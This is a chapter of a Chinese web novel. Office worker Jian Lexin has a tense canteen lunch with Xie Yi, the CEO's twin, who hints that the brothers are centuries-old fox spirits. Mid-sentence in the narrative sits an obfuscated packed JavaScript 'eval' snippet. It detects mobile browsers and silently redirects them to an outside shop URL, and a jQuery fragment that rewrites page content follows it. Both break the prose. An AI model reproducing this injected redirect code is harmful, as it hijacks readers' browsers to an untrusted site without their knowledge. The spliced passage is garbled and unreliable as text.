简乐心一夜没睡好。
梦里全是白狐和银灰色的眼睛。她一会儿站在25楼的走廊里,一会儿又坐在出租屋的窗台上,那只白狐就蹲在她对面,安安静静地看着她,她想伸手去摸,白狐却化作一团白雾散开了。
醒来的时候,脑袋上一脑门的汗。
她对着镜子刷牙,看着镜子里那张带着黑眼圈的脸,忍不住叹了口气。
“简乐心,你今天必须打起精神。”她含着一嘴泡沫含糊地对自己说,“方案还没写完,没时间胡思乱想。”
到公司的时候,林知夏已经在了,她今天难得准时,正翘着腿啃三明治,看到简乐心进来,上下打量了一眼。
“你昨晚没睡好?”
“有点。”简乐心放下包,打开电脑,“做了一晚上梦。”
“梦见什么了?”
简乐心顿了一下,含糊道:“忘了。”
她不想说梦见了一只狐狸,而且还怀疑公司总裁就是那只狐狸,这说出来太奇怪了。
索性一上午她都在埋头改方案,裴秀华给的参考案例她反复读了三遍,把“粉丝共创”的每一个环节都重新梳理了一遍,加了更多细节。
投票页面的UI设计建议、话题词的备选方案、KOL合作的分级名单……她把能想到的全写了进去。
林知夏路过她工位的时候瞄了一眼,吹了声口哨:“你这方案写得比我的月报还长。”
“还没写完呢。”简乐心头也不抬。
“中午了,先吃饭。”林知夏拍了拍她肩膀,“脑子不转的时候写出来的东西都是垃圾,这是秀华姐说的。”
简乐心这才注意到已经十二点了,她保存好文档,揉了揉发僵的脖子,跟着林知夏往电梯走。
食堂里人很多,简乐心端着餐盘排队打菜,王阿姨看到她,照例笑成了一朵花。
“小姑娘今天脸色不太好呀,是不是没睡好?”王阿姨一边说,一边往她盘子里多舀了一勺红烧肉,“多吃点肉,补补身子。”
简乐心看着堆成小山的餐盘,哭笑不得:“谢谢王阿姨。”
“谢什么谢,你们这些年轻人啊,就知道加班,不知道好好吃饭。”王阿姨絮絮叨叨的,又塞了一个鸡腿过来,“这个也拿着。”
林知夏在后面看得直摇头:“王阿姨,我来了两年你都没对我这么好过。”
“你还好意思说,你第一次来食堂的时候,把我打给你的菜挑了一半出来,说‘太多了吃不完’。”王阿姨翻了个白眼,“我打给你的每一勺都是我的心意,你居然嫌弃。”
林知夏缩了缩脖子,不说话了。
简乐心端着餐盘找到位置坐下,姜可可已经在了,面前照例是一盘满满的蔬菜沙拉。她今天换了新发型,双马尾扎得高高的,配上一张娃娃脸,看起来像个高中生。
“乐心,你脸色好差。”姜可可关心地看着她,“是不是又加班到很晚?”
“还好,就是没睡好。”简乐心咬了一口鸡腿,含糊地说。
三人正吃着,食堂门口突然传来一阵骚动。
简乐心下意识抬头,然后整个人僵住了。
谢逸走了进来。
他今天穿着一件黑色的连帽卫衣,帽子没戴,露出一头打理过微卷的黑发。
没有口罩,没有墨镜,那张和海报上一模一样的脸就这么大剌剌地暴露在所有人的视线里。
食堂里瞬间安静了一秒,然后响起此起彼伏的窃窃私语。
“是谢逸……”
“天哪他居然来食堂了……”
“看着那张脸突然感觉胃好痛……想到总裁上次在会上的低气压了。”
谢逸像是完全没听到这些声音,端着餐盘不紧不慢地穿过取餐区。他打菜的动作很随意,指了指这个又指了指那个,打菜的大姐手抖得比王阿姨还厉害,生怕给少了。
然后,他端着餐盘,径直朝简乐心这桌走了过来。
简乐心的脑子“嗡”地一下。
不会吧不会吧不会吧——
谢逸一屁股坐在了她对面,把餐盘往桌上一放,抬头冲她笑了笑。
那笑容灿烂得能闪瞎人眼,两颗小虎牙露出来,整个人散发着一种莫名的欠揍气息。
“又见面了。”他说。
简乐心的筷子差点掉地上,她张了张嘴,想说点什么,但舌头像打了结一样。
林知夏在旁边猛地咳嗽了两声,端起餐盘就要走:“可可,我们去那边吃。”
姜可可看了看简乐心,又看了看谢逸,嘴唇动了动,似乎想说什么,但最终还是跟着林知夏走了。
简乐心看着两个见死不救的同事,内心在呐喊:你们就这样抛弃我了吗?!
但她没机会喊出来,因为谢逸正笑眯眯地看着她,那目光像一只盯上猎物的猫。
“别紧张,”他说,拿起筷子夹了一块糖醋排骨,“我又不会吃人。”
简乐心干笑了一声:“谢……谢逸老师好。”
“老师?”谢逸挑了挑眉,“我又不教书,叫谢逸就行。”
“谢逸……先生。”
“也不对,叫哥。”
简乐心:“……谢逸哥。”
谢逸满意地点点头,咬了一口排骨,咀嚼了两下,突然皱了皱眉:“今天的排骨有点老了。”
简乐心不知道该说什么,只能埋头吃自己的鸡腿。
她以为谢逸就是随便坐坐,吃两口就会走。但谢逸完全没有要走的意思,他慢条斯理地吃着饭,时不时抬头看她一眼,那目光里带着一种说不清道不明的审视。
简乐心被看得浑身不自在。
“你……你一直盯着我干嘛?”她终于忍不住问。
谢逸放下筷子,身体微微前倾,隔着餐桌凑近了她。
简乐心本能地往后仰,但椅子有靠背,她无处可退。
“你身上的味道,”谢逸压低声音,嘴角还挂着一丝笑意,“越来越明显了。”
又是这句话。
“什么味道?”她努力让自己的声音听起来平静一点,“我用的是薰衣草味的洗衣液,如果你喜欢,我可以推荐给你。”
谢逸愣了一下,然后笑了出来,不是那种礼貌的微笑,而是真真正正被逗乐了,笑得眼睛弯弯的,肩膀都在抖。
“你这个人挺有意思的。”他重新坐直了身体。
简乐心一脸茫然。
“你知道吗,”谢逸的声音压得很低,低到只有她能听见,“公司里有些人,活了几百年都没你这么有趣。”
几百年?
简乐心眨了眨眼,以为自己听错了。
“你说什么?”
“没什么。”谢逸拿起筷子,继续吃饭,好像刚才那句话只是随口一提。
但简乐心听得清清楚楚。
几百年。
正常人会说“活了几百年”吗?
除非——
那个荒谬的念头又冒了出来。
她盯着谢逸的脸,仔细打量他的五官。眉骨,鼻梁,下颌线条,和谢晏一模一样,但气质完全不同。
可是那双眼睛,那双银灰色的眼睛——
和那只白狐的眼睛一模一样。
简乐心的手不自觉地攥紧了筷子。
“你和总裁,”她试探性地问,“关系很好吧?”
“嗯。”谢逸点头,“他比我早出生五分钟,就仗着这五分钟天天摆架子。”
“你们……长得真像。”
“那当然,一个模子刻出来的。”谢逸说着,突然话锋一转,“不过我哥那个人吧,表面看着冷冰冰的,其实内里……”
他停顿了一下,似乎在斟酌措辞。
“内里怎么了?”简乐心追问。
谢逸看着她,嘴角的笑意变得有些意味深长:“其实内里也挺冷的,所以你最好离他远点。”
简乐心愣住了。
这句话她不是第一次听到,上次在25楼走廊里,谢逸也说过,“离我哥远点,他很危险。”
“为什么?”她问,“你哥哪里危险了?”
谢逸没有直接回答,而是叉起一块西兰花,慢悠悠地嚼着,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17695693|207656||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
等咽下去了,才开口:“因为他这个人,一旦认定了一件事,就会死磕到底。你想想,一个活了……呃,一个当了这么多年总裁的人,如果决定干一件事,周围的人谁能阻止?”
他说“活了”的时候明显停顿了一下,改了口。
简乐心注意到了这个细节,但没有点破。
“你是因为总裁工作比较严格所以这么说的吗?”她换了个角度。
“不是啊,”谢逸说,“他就是这么冷酷的一个人,啧啧,他这个人吧,不适合……”
他上下打量了简乐心一眼。
“不适合什么?”
“不适合跟人类走太近。”
简乐心皱了皱眉:“什么意思?”
谢逸似乎意识到自己说多了,摆了摆手:“没什么,你就当我胡说八道,吃饭吃饭。”
他埋头扒了几口饭,然后又抬起头,看着简乐心,表情难得正经了一回。
“不过有一句话我是认真的。”他的声音很低,带着一种简乐心从未在他身上见过的认真,“你现在这样挺好的,别急着去探究那些你不懂的东西。有些事情,知道得太多,反而回不去了。”
简乐心被他这番话弄得心里发毛。
“你到底想说什么?”
谢逸沉默了两秒,然后笑了,又恢复了那副吊儿郎当的样子:“我想说,这鸡腿挺好吃的,你不吃给我?”
他指了指简乐心盘子里那个还没动的鸡腿。
简乐心:“……”
她把鸡腿夹给了他。
谢逸接过鸡腿,咬了一大口,满足地眯起眼睛。那模样,像极了一只偷吃到鱼的猫——不,狐狸。
简乐心看着他,脑子里突然冒出一个念头。
谢逸是谢晏的弟弟。
如果谢晏是白狐……
那谢逸也是白狐?
她盯着谢逸的脸,试图从他身上找到更多“非人类”的痕迹。但怎么看都是一个人的样子,除了那双过于漂亮的眼睛,没有任何异常。
谢逸察觉到她的目光,抬头笑了笑:“看什么?被我的帅气迷住了?”
简乐心立刻移开视线,耳根微微发烫。
“行了,我吃完了。”谢逸把餐盘往前一推,站起来,“你慢慢吃,别总加班,早点回去休息。”
他拿起餐盘走了两步,又回头看了她一眼。
“对了,替我向你工位上那盆绿萝问好。它长得挺精神的。”
说完,他端着餐盘,穿过食堂,消失在门口。
简乐心愣在原地。
向她工位上的绿萝问好?
他怎么知道她工位上有绿萝?
她从没跟谢逸说过这件事,事实上,她和谢逸总共也没说过几次话。
简乐心低头看着自己盘子里剩下的饭菜,突然没有了食欲。
她端起餐盘,倒掉剩饭,走出食堂。
林知夏和姜可可不知道从哪里冒了出来,一左一右地夹住她。
“谢影帝跟你说什么了?”林知夏的眼睛里闪着八卦的光。
“没什么,就说让我离他哥远点。”简乐心如实回答。
林知夏的表情微妙起来:“他让你离总裁远点?”
“嗯。”
林知夏和姜可可对视了一眼,两人都沉默了几秒。
“怎么了?”简乐心看看这个又看看那个,“你们也觉得奇怪?”
“不奇怪。”姜可可小声说,“他可能只是在保护你。”
“保护我?保护我什么?”
姜可可没有回答,林知夏也没有,两人只是交换了一个简乐心读不懂的眼神,然后各自找了个借口溜了。
简乐心站在走廊里,看着她们的背影,心里的疑惑像滚雪球一样越滚越大。
所有人都知道点什么。
但所有人都欲言又止。
只有她一个人,被蒙在鼓里。
她深吸一口气,攥紧了拳头。
不管了。
先做方案。
其他的事情,等她准备好了再说。